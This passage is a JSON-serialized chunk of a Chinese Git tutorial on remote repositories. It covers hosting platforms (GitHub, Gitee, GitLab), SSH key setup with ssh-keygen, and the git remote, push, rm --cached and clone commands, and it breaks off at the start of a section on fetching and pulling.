",{"type":18,"tag":297,"props":7020,"children":7021},{},[7022],{"type":24,"value":7023},"远程仓库",{"type":18,"tag":34,"props":7025,"children":7026},{},[7027,7029,7034],{"type":24,"value":7028},"前面我们已经知道了Git中存在两种类型的仓库，即",{"type":18,"tag":105,"props":7030,"children":7031},{},[7032],{"type":24,"value":7033},"本地仓库和远程仓库",{"type":24,"value":7035},"。那么我们如何搭建Git远程仓库呢？我们可以借助互联网上提供的一些代码托管服务来实现，其中比较常用的有 GitHub、码云、GitLab 等。",{"type":18,"tag":431,"props":7037,"children":7038},{},[7039,7060],{"type":18,"tag":435,"props":7040,"children":7041},{},[7042],{"type":18,"tag":439,"props":7043,"children":7044},{},[7045,7050,7055],{"type":18,"tag":443,"props":7046,"children":7047},{"align":3465},[7048],{"type":24,"value":7049},"平台",{"type":18,"tag":443,"props":7051,"children":7052},{"align":3465},[7053],{"type":24,"value":7054},"地址",{"type":18,"tag":443,"props":7056,"children":7057},{"align":5772},[7058],{"type":24,"value":7059},"特点",{"type":18,"tag":459,"props":7061,"children":7062},{},[7063,7084,7106],{"type":18,"tag":439,"props":7064,"children":7065},{},[7066,7070,7079],{"type":18,"tag":466,"props":7067,"children":7068},{"align":3465},[7069],{"type":24,"value":685},{"type":18,"tag":466,"props":7071,"children":7072},{"align":3465},[7073],{"type":18,"tag":43,"props":7074,"children":7077},{"href":7075,"rel":7076},"https:\u002F\u002Fgithub.com\u002F",[47],[7078],{"type":24,"value":7075},{"type":18,"tag":466,"props":7080,"children":7081},{"align":5772},[7082],{"type":24,"value":7083},"面向开源及私有软件项目的托管平台，只支持Git作为唯一的版本库格式进行托管",{"type":18,"tag":439,"props":7085,"children":7086},{},[7087,7092,7101],{"type":18,"tag":466,"props":7088,"children":7089},{"align":3465},[7090],{"type":24,"value":7091},"Gitee",{"type":18,"tag":466,"props":7093,"children":7094},{"align":3465},[7095],{"type":18,"tag":43,"props":7096,"children":7099},{"href":7097,"rel":7098},"https:\u002F\u002Fgitee.com\u002F",[47],[7100],{"type":24,"value":7097},{"type":18,"tag":466,"props":7102,"children":7103},{"align":5772},[7104],{"type":24,"value":7105},"国内代码托管平台，服务器在国内，访问速度比GitHub更快",{"type":18,"tag":439,"props":7107,"children":7108},{},[7109,7114,7123],{"type":18,"tag":466,"props":7110,"children":7111},{"align":3465},[7112],{"type":24,"value":7113},"GitLab",{"type":18,"tag":466,"props":7115,"children":7116},{"align":3465},[7117],{"type":18,"tag":43,"props":7118,"children":7121},{"href":7119,"rel":7120},"https:\u002F\u002Fabout.gitlab.com\u002F",[47],[7122],{"type":24,"value":7119},{"type":18,"tag":466,"props":7124,"children":7125},{"align":5772},[7126],{"type":24,"value":7127},"用于仓库管理系统的开源项目，基于Git搭建的Web服务，常用于企业、学校等内部网络搭建Git私服",{"type":18,"tag":121,"props":7129,"children":7130},{},[],{"type":18,"tag":27,"props":7132,"children":7134},{"id":7133},"_12-注册码云gitee",[7135],{"type":24,"value":7136},"1.2 注册码云(Gitee)",{"type":18,"tag":34,"props":7138,"children":7139},{},[7140],{"type":18,"tag":105,"props":7141,"children":7142},{},[7143,7145],{"type":24,"value":7144},"Gitee官网 注册地址：",{"type":18,"tag":43,"props":7146,"children":7149},{"href":7147,"rel":7148},"https:\u002F\u002Fgitee.com\u002Fsignup",[47],[7150],{"type":24,"value":7147},{"type":18,"tag":34,"props":7152,"children":7153},{},[7154],{"type":18,"tag":54,"props":7155,"children":7158},{"alt":7156,"src":7157},"1775736967952","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775736967952.png",[],{"type":18,"tag":27,"props":7160,"children":7162},{"id":7161},"_13-创建远程仓库",[7163],{"type":24,"value":7164},"1.3 创建远程仓库",{"type":18,"tag":34,"props":7166,"children":7167},{},[7168],{"type":24,"value":7169},"根据个人所需创建远程仓库，若存在本地仓库，则不建议勾选创建按钮上方的三个复选框。",{"type":18,"tag":34,"props":7171,"children":7172},{},[7173],{"type":18,"tag":54,"props":7174,"children":7177},{"alt":7175,"src":7176},"1775737746677","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775737746677.png",[],{"type":18,"tag":27,"props":7179,"children":7181},{"id":7180},"_14-配置ssh公钥",[7182],{"type":24,"value":7183},"1.4 配置SSH公钥",{"type":18,"tag":154,"props":7185,"children":7186},{},[7187,7215,7417,7448,7461],{"type":18,"tag":158,"props":7188,"children":7189},{},[7190,7192],{"type":24,"value":7191},"生成SSH公钥",{"type":18,"tag":287,"props":7193,"children":7195},{"className":289,"code":7194,"language":291,"meta":8,"style":8},"ssh-keygen -t rsa\n",[7196],{"type":18,"tag":74,"props":7197,"children":7198},{"__ignoreMap":8},[7199],{"type":18,"tag":297,"props":7200,"children":7201},{"class":299,"line":300},[7202,7206,7210],{"type":18,"tag":297,"props":7203,"children":7204},{"style":304},[7205],{"type":24,"value":6820},{"type":18,"tag":297,"props":7207,"children":7208},{"style":906},[7209],{"type":24,"value":6825},{"type":18,"tag":297,"props":7211,"children":7212},{"style":310},[7213],{"type":24,"value":7214}," rsa\n",{"type":18,"tag":158,"props":7216,"children":7217},{},[7218,7220,7223,7228,7231,7233,7248,7302,7310,7379,7382,7384,7390,7392],{"type":24,"value":7219},"一路回车，使用默认值即可。",{"type":18,"tag":6882,"props":7221,"children":7222},{},[],{"type":18,"tag":54,"props":7224,"children":7227},{"alt":7225,"src":7226},"1775804920198","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775804920198.png",[],{"type":18,"tag":6882,"props":7229,"children":7230},{},[],{"type":24,"value":7232},"也可以选择对密钥进行详细的配置，执行后会出现提示：",{"type":18,"tag":210,"props":7234,"children":7235},{},[7236],{"type":18,"tag":158,"props":7237,"children":7238},{},[7239,7241,7247],{"type":24,"value":7240},"首先询问密钥保存路径，直接按回车使用默认路径（",{"type":18,"tag":74,"props":7242,"children":7244},{"className":7243},[],[7245],{"type":24,"value":7246},"~\u002F.ssh\u002Fid_rsa",{"type":24,"value":6182},{"type":18,"tag":287,"props":7249,"children":7251},{"className":289,"code":7250,"language":291,"meta":8,"style":8},"Enter file in which to save the key (\u002Fc\u002FUsers\u002FYOU\u002F.ssh\u002Fid_ALGORITHM): 回车\n",[7252],{"type":18,"tag":74,"props":7253,"children":7254},{"__ignoreMap":8},[7255],{"type":18,"tag":297,"props":7256,"children":7257},{"class":299,"line":300},[7258,7263,7268,7273,7278,7282,7287,7292,7297],{"type":18,"tag":297,"props":7259,"children":7260},{"style":304},[7261],{"type":24,"value":7262},"Enter",{"type":18,"tag":297,"props":7264,"children":7265},{"style":310},[7266],{"type":24,"value":7267}," file",{"type":18,"tag":297,"props":7269,"children":7270},{"style":310},[7271],{"type":24,"value":7272}," in",{"type":18,"tag":297,"props":7274,"children":7275},{"style":310},[7276],{"type":24,"value":7277}," which",{"type":18,"tag":297,"props":7279,"children":7280},{"style":310},[7281],{"type":24,"value":6439},{"type":18,"tag":297,"props":7283,"children":7284},{"style":310},[7285],{"type":24,"value":7286}," save",{"type":18,"tag":297,"props":7288,"children":7289},{"style":310},[7290],{"type":24,"value":7291}," the",{"type":18,"tag":297,"props":7293,"children":7294},{"style":310},[7295],{"type":24,"value":7296}," key",{"type":18,"tag":297,"props":7298,"children":7299},{"style":327},[7300],{"type":24,"value":7301}," (\u002Fc\u002FUsers\u002FYOU\u002F.ssh\u002Fid_ALGORITHM): 回车\n",{"type":18,"tag":210,"props":7303,"children":7304},{},[7305],{"type":18,"tag":158,"props":7306,"children":7307},{},[7308],{"type":24,"value":7309},"然后会提示设置密码（可选），直接按回车跳过即可（无需密码）",{"type":18,"tag":287,"props":7311,"children":7313},{"className":289,"code":7312,"language":291,"meta":8,"style":8},"Enter passphrase (empty for no passphrase): 输入密码\nEnter same passphrase again: 再次输入密码\n",[7314],{"type":18,"tag":74,"props":7315,"children":7316},{"__ignoreMap":8},[7317,7353],{"type":18,"tag":297,"props":7318,"children":7319},{"class":299,"line":300},[7320,7324,7329,7334,7339,7344,7348],{"type":18,"tag":297,"props":7321,"children":7322},{"style":304},[7323],{"type":24,"value":7262},{"type":18,"tag":297,"props":7325,"children":7326},{"style":310},[7327],{"type":24,"value":7328}," passphrase",{"type":18,"tag":297,"props":7330,"children":7331},{"style":327},[7332],{"type":24,"value":7333}," (empty ",{"type":18,"tag":297,"props":7335,"children":7336},{"style":310},[7337],{"type":24,"value":7338},"for",{"type":18,"tag":297,"props":7340,"children":7341},{"style":310},[7342],{"type":24,"value":7343}," no",{"type":18,"tag":297,"props":7345,"children":7346},{"style":310},[7347],{"type":24,"value":7328},{"type":18,"tag":297,"props":7349,"children":7350},{"style":327},[7351],{"type":24,"value":7352},"): 输入密码\n",{"type":18,"tag":297,"props":7354,"children":7355},{"class":299,"line":657},[7356,7360,7365,7369,7374],{"type":18,"tag":297,"props":7357,"children":7358},{"style":304},[7359],{"type":24,"value":7262},{"type":18,"tag":297,"props":7361,"children":7362},{"style":310},[7363],{"type":24,"value":7364}," same",{"type":18,"tag":297,"props":7366,"children":7367},{"style":310},[7368],{"type":24,"value":7328},{"type":18,"tag":297,"props":7370,"children":7371},{"style":310},[7372],{"type":24,"value":7373}," again:",{"type":18,"tag":297,"props":7375,"children":7376},{"style":310},[7377],{"type":24,"value":7378}," 再次输入密码\n",{"type":18,"tag":6882,"props":7380,"children":7381},{},[],{"type":24,"value":7383},"生成成功后，再次执行 ",{"type":18,"tag":74,"props":7385,"children":7387},{"className":7386},[],[7388],{"type":24,"value":7389},"ls -al ~\u002F.ssh",{"type":24,"value":7391}," 就能看到新生成的密钥文件：",{"type":18,"tag":210,"props":7393,"children":7394},{},[7395,7406],{"type":18,"tag":158,"props":7396,"children":7397},{},[7398,7404],{"type":18,"tag":74,"props":7399,"children":7401},{"className":7400},[],[7402],{"type":24,"value":7403},"id_rsa",{"type":24,"value":7405},"（私钥，务必保密，不要分享给任何人）",{"type":18,"tag":158,"props":7407,"children":7408},{},[7409,7415],{"type":18,"tag":74,"props":7410,"children":7412},{"className":7411},[],[7413],{"type":24,"value":7414},"id_rsa.pub",{"type":24,"value":7416},"（公钥，需要添加到 GitHub 的文件）",{"type":18,"tag":158,"props":7418,"children":7419},{},[7420,7422,7427,7429],{"type":24,"value":7421},"查看SSH公钥文件 ",{"type":18,"tag":74,"props":7423,"children":7425},{"className":7424},[],[7426],{"type":24,"value":7414},{"type":24,"value":7428}," 的内容且进行复制：",{"type":18,"tag":287,"props":7430,"children":7432},{"className":289,"code":7431,"language":291,"meta":8,"style":8},"cat ~\u002F.ssh\u002Fid_rsa.pub\n",[7433],{"type":18,"tag":74,"props":7434,"children":7435},{"__ignoreMap":8},[7436],{"type":18,"tag":297,"props":7437,"children":7438},{"class":299,"line":300},[7439,7443],{"type":18,"tag":297,"props":7440,"children":7441},{"style":304},[7442],{"type":24,"value":6856},{"type":18,"tag":297,"props":7444,"children":7445},{"style":310},[7446],{"type":24,"value":7447}," ~\u002F.ssh\u002Fid_rsa.pub\n",{"type":18,"tag":158,"props":7449,"children":7450},{},[7451,7453,7456],{"type":24,"value":7452},"完整的复制SSH公钥后打开Gitee的SSH配置页面，将公钥复制到输入框中并保存，然后输入账户密码验证即可，如下图所示：",{"type":18,"tag":6882,"props":7454,"children":7455},{},[],{"type":18,"tag":54,"props":7457,"children":7460},{"alt":7458,"src":7459},"1775805298552","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775805298552.png",[],{"type":18,"tag":158,"props":7462,"children":7463},{},[7464,7466,7490,7493,7495,7500,7502],{"type":24,"value":7465},"返回 Git Bash 输入下列指令测试你的电脑能否通过 SSH 协议，成功连接到 Gitee 服务器，并验证你的密钥是否正确：",{"type":18,"tag":287,"props":7467,"children":7469},{"className":289,"code":7468,"language":291,"meta":8,"style":8},"ssh -T git@gitee.com\n",[7470],{"type":18,"tag":74,"props":7471,"children":7472},{"__ignoreMap":8},[7473],{"type":18,"tag":297,"props":7474,"children":7475},{"class":299,"line":300},[7476,7480,7485],{"type":18,"tag":297,"props":7477,"children":7478},{"style":304},[7479],{"type":24,"value":307},{"type":18,"tag":297,"props":7481,"children":7482},{"style":906},[7483],{"type":24,"value":7484}," -T",{"type":18,"tag":297,"props":7486,"children":7487},{"style":310},[7488],{"type":24,"value":7489}," git@gitee.com\n",{"type":18,"tag":6882,"props":7491,"children":7492},{},[],{"type":24,"value":7494},"首次连接可能出现下面的提示，此时只需在结尾处输入 ",{"type":18,"tag":74,"props":7496,"children":7498},{"className":7497},[],[7499],{"type":24,"value":372},{"type":24,"value":7501},"，如下：",{"type":18,"tag":287,"props":7503,"children":7505},{"className":289,"code":7504,"language":291,"meta":8,"style":8},"Are you sure you want to continue connecting (yes\u002Fno\u002F[fingerprint])? yes\n\n# 若成功，则出现类似下列内容的语句\nHi 用户名! You've successfully authenticated, but GITEE.COM does not provide shell access.\n",[7506],{"type":18,"tag":74,"props":7507,"children":7508},{"__ignoreMap":8},[7509,7565,7572,7580],{"type":18,"tag":297,"props":7510,"children":7511},{"class":299,"line":300},[7512,7517,7522,7527,7531,7536,7540,7545,7550,7555,7560],{"type":18,"tag":297,"props":7513,"children":7514},{"style":304},[7515],{"type":24,"value":7516},"Are",{"type":18,"tag":297,"props":7518,"children":7519},{"style":310},[7520],{"type":24,"value":7521}," you",{"type":18,"tag":297,"props":7523,"children":7524},{"style":310},[7525],{"type":24,"value":7526}," sure",{"type":18,"tag":297,"props":7528,"children":7529},{"style":310},[7530],{"type":24,"value":7521},{"type":18,"tag":297,"props":7532,"children":7533},{"style":310},[7534],{"type":24,"value":7535}," want",{"type":18,"tag":297,"props":7537,"children":7538},{"style":310},[7539],{"type":24,"value":6439},{"type":18,"tag":297,"props":7541,"children":7542},{"style":310},[7543],{"type":24,"value":7544}," continue",{"type":18,"tag":297,"props":7546,"children":7547},{"style":310},[7548],{"type":24,"value":7549}," connecting",{"type":18,"tag":297,"props":7551,"children":7552},{"style":327},[7553],{"type":24,"value":7554}," (yes\u002Fno\u002F[fingerprint])",{"type":18,"tag":297,"props":7556,"children":7557},{"style":316},[7558],{"type":24,"value":7559},"?",{"type":18,"tag":297,"props":7561,"children":7562},{"style":327},[7563],{"type":24,"value":7564}," yes\n",{"type":18,"tag":297,"props":7566,"children":7567},{"class":299,"line":657},[7568],{"type":18,"tag":297,"props":7569,"children":7570},{"emptyLinePlaceholder":793},[7571],{"type":24,"value":796},{"type":18,"tag":297,"props":7573,"children":7574},{"class":299,"line":662},[7575],{"type":18,"tag":297,"props":7576,"children":7577},{"style":5380},[7578],{"type":24,"value":7579},"# 若成功，则出现类似下列内容的语句\n",{"type":18,"tag":297,"props":7581,"children":7582},{"class":299,"line":799},[7583,7588,7593],{"type":18,"tag":297,"props":7584,"children":7585},{"style":304},[7586],{"type":24,"value":7587},"Hi",{"type":18,"tag":297,"props":7589,"children":7590},{"style":310},[7591],{"type":24,"value":7592}," 用户名!",{"type":18,"tag":297,"props":7594,"children":7595},{"style":310},[7596],{"type":24,"value":7597}," You've successfully authenticated, but GITEE.COM does not provide shell access.\n",{"type":18,"tag":96,"props":7599,"children":7600},{},[7601,7606,7625],{"type":18,"tag":34,"props":7602,"children":7603},{},[7604],{"type":24,"value":7605},"错误提示：",{"type":18,"tag":34,"props":7607,"children":7608},{},[7609,7610,7616,7618,7624],{"type":24,"value":6383},{"type":18,"tag":74,"props":7611,"children":7613},{"className":7612},[],[7614],{"type":24,"value":7615},"ssh -T git@gitee.com",{"type":24,"value":7617}," 时出现连接认证失败，报错 ",{"type":18,"tag":74,"props":7619,"children":7621},{"className":7620},[],[7622],{"type":24,"value":7623},"ssh_dispatch_run_fatal: Connection to gitee.com port 22: Broken pipe",{"type":24,"value":222},{"type":18,"tag":210,"props":7626,"children":7627},{},[7628,7648],{"type":18,"tag":158,"props":7629,"children":7630},{},[7631,7633,7639,7641,7646],{"type":24,"value":7632},"原因：本地存在多组 SSH 密钥（例如 ",{"type":18,"tag":74,"props":7634,"children":7636},{"className":7635},[],[7637],{"type":24,"value":7638},"id_ed25519",{"type":24,"value":7640}," 用于 GitHub、",{"type":18,"tag":74,"props":7642,"children":7644},{"className":7643},[],[7645],{"type":24,"value":7403},{"type":24,"value":7647}," 用于 Gitee），默认连接未指定 Gitee 对应私钥，导致密钥不匹配、SSH 连接断开；",{"type":18,"tag":158,"props":7649,"children":7650},{},[7651,7653,7659],{"type":24,"value":7652},"解决方法：指定正确私钥执行 ",{"type":18,"tag":74,"props":7654,"children":7656},{"className":7655},[],[7657],{"type":24,"value":7658},"ssh -T git@gitee.com -i ~\u002F.ssh\u002Fid_rsa",{"type":24,"value":7660}," 后，连接认证成功。",{"type":18,"tag":27,"props":7662,"children":7664},{"id":7663},"_15-添加远程仓库",[7665],{"type":24,"value":7666},"1.5 添加远程仓库",{"type":18,"tag":154,"props":7668,"children":7669},{},[7670,7683,7749,7761,7997],{"type":18,"tag":158,"props":7671,"children":7672},{},[7673,7675,7678],{"type":24,"value":7674},"复制远程仓库的SSH仓库路径；",{"type":18,"tag":6882,"props":7676,"children":7677},{},[],{"type":18,"tag":54,"props":7679,"children":7682},{"alt":7680,"src":7681},"1775809989482","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775809989482.png",[],{"type":18,"tag":158,"props":7684,"children":7685},{},[7686,7688,7709],{"type":24,"value":7687},"执行下列指令将远程仓库绑定到本地；",{"type":18,"tag":210,"props":7689,"children":7690},{},[7691,7704],{"type":18,"tag":158,"props":7692,"children":7693},{},[7694,7696,7702],{"type":24,"value":7695},"远程仓库名称：默认使用 ",{"type":18,"tag":74,"props":7697,"children":7699},{"className":7698},[],[7700],{"type":24,"value":7701},"origin",{"type":24,"value":7703}," ，也可自定义",{"type":18,"tag":158,"props":7705,"children":7706},{},[7707],{"type":24,"value":7708},"远程仓库路径：从远端服务器获取",{"type":18,"tag":287,"props":7710,"children":7712},{"className":289,"code":7711,"language":291,"meta":8,"style":8},"# git remote add 远程仓库名称 远程仓库路径\n    git remote add origin git@gitee.com:Couioly\u002Feducation-network.git\n",[7713],{"type":18,"tag":74,"props":7714,"children":7715},{"__ignoreMap":8},[7716,7724],{"type":18,"tag":297,"props":7717,"children":7718},{"class":299,"line":300},[7719],{"type":18,"tag":297,"props":7720,"children":7721},{"style":5380},[7722],{"type":24,"value":7723},"# git remote add 远程仓库名称 远程仓库路径\n",{"type":18,"tag":297,"props":7725,"children":7726},{"class":299,"line":657},[7727,7732,7736,7740,7744],{"type":18,"tag":297,"props":7728,"children":7729},{"style":304},[7730],{"type":24,"value":7731},"    git",{"type":18,"tag":297,"props":7733,"children":7734},{"style":310},[7735],{"type":24,"value":926},{"type":18,"tag":297,"props":7737,"children":7738},{"style":310},[7739],{"type":24,"value":886},{"type":18,"tag":297,"props":7741,"children":7742},{"style":310},[7743],{"type":24,"value":935},{"type":18,"tag":297,"props":7745,"children":7746},{"style":310},[7747],{"type":24,"value":7748}," git@gitee.com:Couioly\u002Feducation-network.git\n",{"type":18,"tag":158,"props":7750,"children":7751},{},[7752,7753,7759],{"type":24,"value":6383},{"type":18,"tag":74,"props":7754,"children":7756},{"className":7755},[],[7757],{"type":24,"value":7758},"git remote",{"type":24,"value":7760}," 指令可以查看当前远程仓库列表；",{"type":18,"tag":158,"props":7762,"children":7763},{},[7764,7766,7789,7989,7992],{"type":24,"value":7765},"推送到远程仓库的完整版命令：",{"type":18,"tag":287,"props":7767,"children":7769},{"className":289,"code":7768,"language":291,"meta":8,"style":8},"git push [-f] [--set-upstream] [远程仓库名称[本地分支名][:远端分支名]]\n",[7770],{"type":18,"tag":74,"props":7771,"children":7772},{"__ignoreMap":8},[7773],{"type":18,"tag":297,"props":7774,"children":7775},{"class":299,"line":300},[7776,7780,7784],{"type":18,"tag":297,"props":7777,"children":7778},{"style":304},[7779],{"type":24,"value":881},{"type":18,"tag":297,"props":7781,"children":7782},{"style":310},[7783],{"type":24,"value":952},{"type":18,"tag":297,"props":7785,"children":7786},{"style":327},[7787],{"type":24,"value":7788}," [-f] [--set-upstream] [远程仓库名称[本地分支名][:远端分支名]]\n",{"type":18,"tag":210,"props":7790,"children":7791},{},[7792,7831,7842,7884,7919],{"type":18,"tag":158,"props":7793,"children":7794},{},[7795,7797],{"type":24,"value":7796},"若远程分支名和本地分支名相同，则可以只写本地分支名；",{"type":18,"tag":287,"props":7798,"children":7800},{"className":289,"code":7799,"language":291,"meta":8,"style":8},"# git push 远程仓库名称 本地分支名称\ngit push origin master\n",[7801],{"type":18,"tag":74,"props":7802,"children":7803},{"__ignoreMap":8},[7804,7812],{"type":18,"tag":297,"props":7805,"children":7806},{"class":299,"line":300},[7807],{"type":18,"tag":297,"props":7808,"children":7809},{"style":5380},[7810],{"type":24,"value":7811},"# git push 远程仓库名称 本地分支名称\n",{"type":18,"tag":297,"props":7813,"children":7814},{"class":299,"line":657},[7815,7819,7823,7827],{"type":18,"tag":297,"props":7816,"children":7817},{"style":304},[7818],{"type":24,"value":881},{"type":18,"tag":297,"props":7820,"children":7821},{"style":310},[7822],{"type":24,"value":952},{"type":18,"tag":297,"props":7824,"children":7825},{"style":310},[7826],{"type":24,"value":935},{"type":18,"tag":297,"props":7828,"children":7829},{"style":310},[7830],{"type":24,"value":1289},{"type":18,"tag":158,"props":7832,"children":7833},{},[7834,7840],{"type":18,"tag":74,"props":7835,"children":7837},{"className":7836},[],[7838],{"type":24,"value":7839},"-f",{"type":24,"value":7841}," 表示强制，使用于在本地仓库和远程仓库发生冲突时，进行强制覆盖；",{"type":18,"tag":158,"props":7843,"children":7844},{},[7845,7851,7853],{"type":18,"tag":74,"props":7846,"children":7848},{"className":7847},[],[7849],{"type":24,"value":7850},"--set-upstream",{"type":24,"value":7852}," 推送到远端的同时并且建立起和远端分支的关联关系；",{"type":18,"tag":287,"props":7854,"children":7856},{"className":289,"code":7855,"language":291,"meta":8,"style":8},"git push --set-upstream origin master\n",[7857],{"type":18,"tag":74,"props":7858,"children":7859},{"__ignoreMap":8},[7860],{"type":18,"tag":297,"props":7861,"children":7862},{"class":299,"line":300},[7863,7867,7871,7876,7880],{"type":18,"tag":297,"props":7864,"children":7865},{"style":304},[7866],{"type":24,"value":881},{"type":18,"tag":297,"props":7868,"children":7869},{"style":310},[7870],{"type":24,"value":952},{"type":18,"tag":297,"props":7872,"children":7873},{"style":906},[7874],{"type":24,"value":7875}," --set-upstream",{"type":18,"tag":297,"props":7877,"children":7878},{"style":310},[7879],{"type":24,"value":935},{"type":18,"tag":297,"props":7881,"children":7882},{"style":310},[7883],{"type":24,"value":1289},{"type":18,"tag":158,"props":7885,"children":7886},{},[7887,7889,7894,7896],{"type":24,"value":7888},"若",{"type":18,"tag":105,"props":7890,"children":7891},{},[7892],{"type":24,"value":7893},"当前分支已经和远端分支关联",{"type":24,"value":7895},"，则可以省略分支名和远端名。",{"type":18,"tag":287,"props":7897,"children":7899},{"className":289,"code":7898,"language":291,"meta":8,"style":8},"git push # 将master分支推送到已关联的远端分支\n",[7900],{"type":18,"tag":74,"props":7901,"children":7902},{"__ignoreMap":8},[7903],{"type":18,"tag":297,"props":7904,"children":7905},{"class":299,"line":300},[7906,7910,7914],{"type":18,"tag":297,"props":7907,"children":7908},{"style":304},[7909],{"type":24,"value":881},{"type":18,"tag":297,"props":7911,"children":7912},{"style":310},[7913],{"type":24,"value":952},{"type":18,"tag":297,"props":7915,"children":7916},{"style":5380},[7917],{"type":24,"value":7918}," # 将master分支推送到已关联的远端分支\n",{"type":18,"tag":158,"props":7920,"children":7921},{},[7922,7924],{"type":24,"value":7923},"设置关联关系相关的指令：",{"type":18,"tag":287,"props":7925,"children":7927},{"className":289,"code":7926,"language":291,"meta":8,"style":8},"git branch      # 查看本地仓库分支\ngit branch -vv  # 查看分支关联关系\ngit remote -vv  # 查看远程仓库分支\n",[7928],{"type":18,"tag":74,"props":7929,"children":7930},{"__ignoreMap":8},[7931,7948,7969],{"type":18,"tag":297,"props":7932,"children":7933},{"class":299,"line":300},[7934,7938,7943],{"type":18,"tag":297,"props":7935,"children":7936},{"style":304},[7937],{"type":24,"value":881},{"type":18,"tag":297,"props":7939,"children":7940},{"style":310},[7941],{"type":24,"value":7942}," branch",{"type":18,"tag":297,"props":7944,"children":7945},{"style":5380},[7946],{"type":24,"value":7947},"      # 查看本地仓库分支\n",{"type":18,"tag":297,"props":7949,"children":7950},{"class":299,"line":657},[7951,7955,7959,7964],{"type":18,"tag":297,"props":7952,"children":7953},{"style":304},[7954],{"type":24,"value":881},{"type":18,"tag":297,"props":7956,"children":7957},{"style":310},[7958],{"type":24,"value":7942},{"type":18,"tag":297,"props":7960,"children":7961},{"style":906},[7962],{"type":24,"value":7963}," -vv",{"type":18,"tag":297,"props":7965,"children":7966},{"style":5380},[7967],{"type":24,"value":7968},"  # 查看分支关联关系\n",{"type":18,"tag":297,"props":7970,"children":7971},{"class":299,"line":662},[7972,7976,7980,7984],{"type":18,"tag":297,"props":7973,"children":7974},{"style":304},[7975],{"type":24,"value":881},{"type":18,"tag":297,"props":7977,"children":7978},{"style":310},[7979],{"type":24,"value":926},{"type":18,"tag":297,"props":7981,"children":7982},{"style":906},[7983],{"type":24,"value":7963},{"type":18,"tag":297,"props":7985,"children":7986},{"style":5380},[7987],{"type":24,"value":7988},"  # 查看远程仓库分支\n",{"type":18,"tag":6882,"props":7990,"children":7991},{},[],{"type":18,"tag":54,"props":7993,"children":7996},{"alt":7994,"src":7995},"1775812211632","\u002Fimages\u002Fblog\u002Fgit-advanced\u002F1775812211632.png",[],{"type":18,"tag":158,"props":7998,"children":7999},{},[8000,8005],{"type":18,"tag":105,"props":8001,"children":8002},{},[8003],{"type":24,"value":8004},"删除远程文件（本地保留）",{"type":18,"tag":210,"props":8006,"children":8007},{},[8008,8042],{"type":18,"tag":158,"props":8009,"children":8010},{},[8011,8013],{"type":24,"value":8012},"删除文件",{"type":18,"tag":287,"props":8014,"children":8016},{"className":289,"code":8015,"language":291,"meta":8,"style":8},"git rm --cached 文件名\n",[8017],{"type":18,"tag":74,"props":8018,"children":8019},{"__ignoreMap":8},[8020],{"type":18,"tag":297,"props":8021,"children":8022},{"class":299,"line":300},[8023,8027,8032,8037],{"type":18,"tag":297,"props":8024,"children":8025},{"style":304},[8026],{"type":24,"value":881},{"type":18,"tag":297,"props":8028,"children":8029},{"style":310},[8030],{"type":24,"value":8031}," rm",{"type":18,"tag":297,"props":8033,"children":8034},{"style":906},[8035],{"type":24,"value":8036}," --cached",{"type":18,"tag":297,"props":8038,"children":8039},{"style":310},[8040],{"type":24,"value":8041}," 文件名\n",{"type":18,"tag":158,"props":8043,"children":8044},{},[8045,8047,8079,8082,8088],{"type":24,"value":8046},"删除文件夹（必须加 -r）",{"type":18,"tag":287,"props":8048,"children":8050},{"className":289,"code":8049,"language":291,"meta":8,"style":8},"git rm --cached -r 文件夹名\n",[8051],{"type":18,"tag":74,"props":8052,"children":8053},{"__ignoreMap":8},[8054],{"type":18,"tag":297,"props":8055,"children":8056},{"class":299,"line":300},[8057,8061,8065,8069,8074],{"type":18,"tag":297,"props":8058,"children":8059},{"style":304},[8060],{"type":24,"value":881},{"type":18,"tag":297,"props":8062,"children":8063},{"style":310},[8064],{"type":24,"value":8031},{"type":18,"tag":297,"props":8066,"children":8067},{"style":906},[8068],{"type":24,"value":8036},{"type":18,"tag":297,"props":8070,"children":8071},{"style":906},[8072],{"type":24,"value":8073}," -r",{"type":18,"tag":297,"props":8075,"children":8076},{"style":310},[8077],{"type":24,"value":8078}," 文件夹名\n",{"type":18,"tag":6882,"props":8080,"children":8081},{},[],{"type":18,"tag":74,"props":8083,"children":8085},{"className":8084},[],[8086],{"type":24,"value":8087},"--cached",{"type":24,"value":8089}," 是关键！只删远程，不删本地。删除后再次执行提交-推送即可达到删除远程文件的目的。",{"type":18,"tag":27,"props":8091,"children":8093},{"id":8092},"_16-克隆远程仓库",[8094],{"type":24,"value":8095},"1.6 克隆远程仓库",{"type":18,"tag":34,"props":8097,"children":8098},{},[8099,8101,8107],{"type":24,"value":8100},"如果已存在一个远端仓库，我们可以直接 ",{"type":18,"tag":74,"props":8102,"children":8104},{"className":8103},[],[8105],{"type":24,"value":8106},"clone",{"type":24,"value":8108}," 到本地。指令如下：",{"type":18,"tag":287,"props":8110,"children":8112},{"className":289,"code":8111,"language":291,"meta":8,"style":8},"# git clone \u003C仓库路径> [本地目录(可选)]\ngit clone git@gitee.com:Couioly\u002Feducation-network.git\n",[8113],{"type":18,"tag":74,"props":8114,"children":8115},{"__ignoreMap":8},[8116,8124],{"type":18,"tag":297,"props":8117,"children":8118},{"class":299,"line":300},[8119],{"type":18,"tag":297,"props":8120,"children":8121},{"style":5380},[8122],{"type":24,"value":8123},"# git clone \u003C仓库路径> [本地目录(可选)]\n",{"type":18,"tag":297,"props":8125,"children":8126},{"class":299,"line":657},[8127,8131,8136],{"type":18,"tag":297,"props":8128,"children":8129},{"style":304},[8130],{"type":24,"value":881},{"type":18,"tag":297,"props":8132,"children":8133},{"style":310},[8134],{"type":24,"value":8135}," clone",{"type":18,"tag":297,"props":8137,"children":8138},{"style":310},[8139],{"type":24,"value":7748},{"type":18,"tag":27,"props":8141,"children":8143},{"id":8142},"_17-远程仓库中抓取和拉取",[8144],{"type":24,"value":8145},"1.7 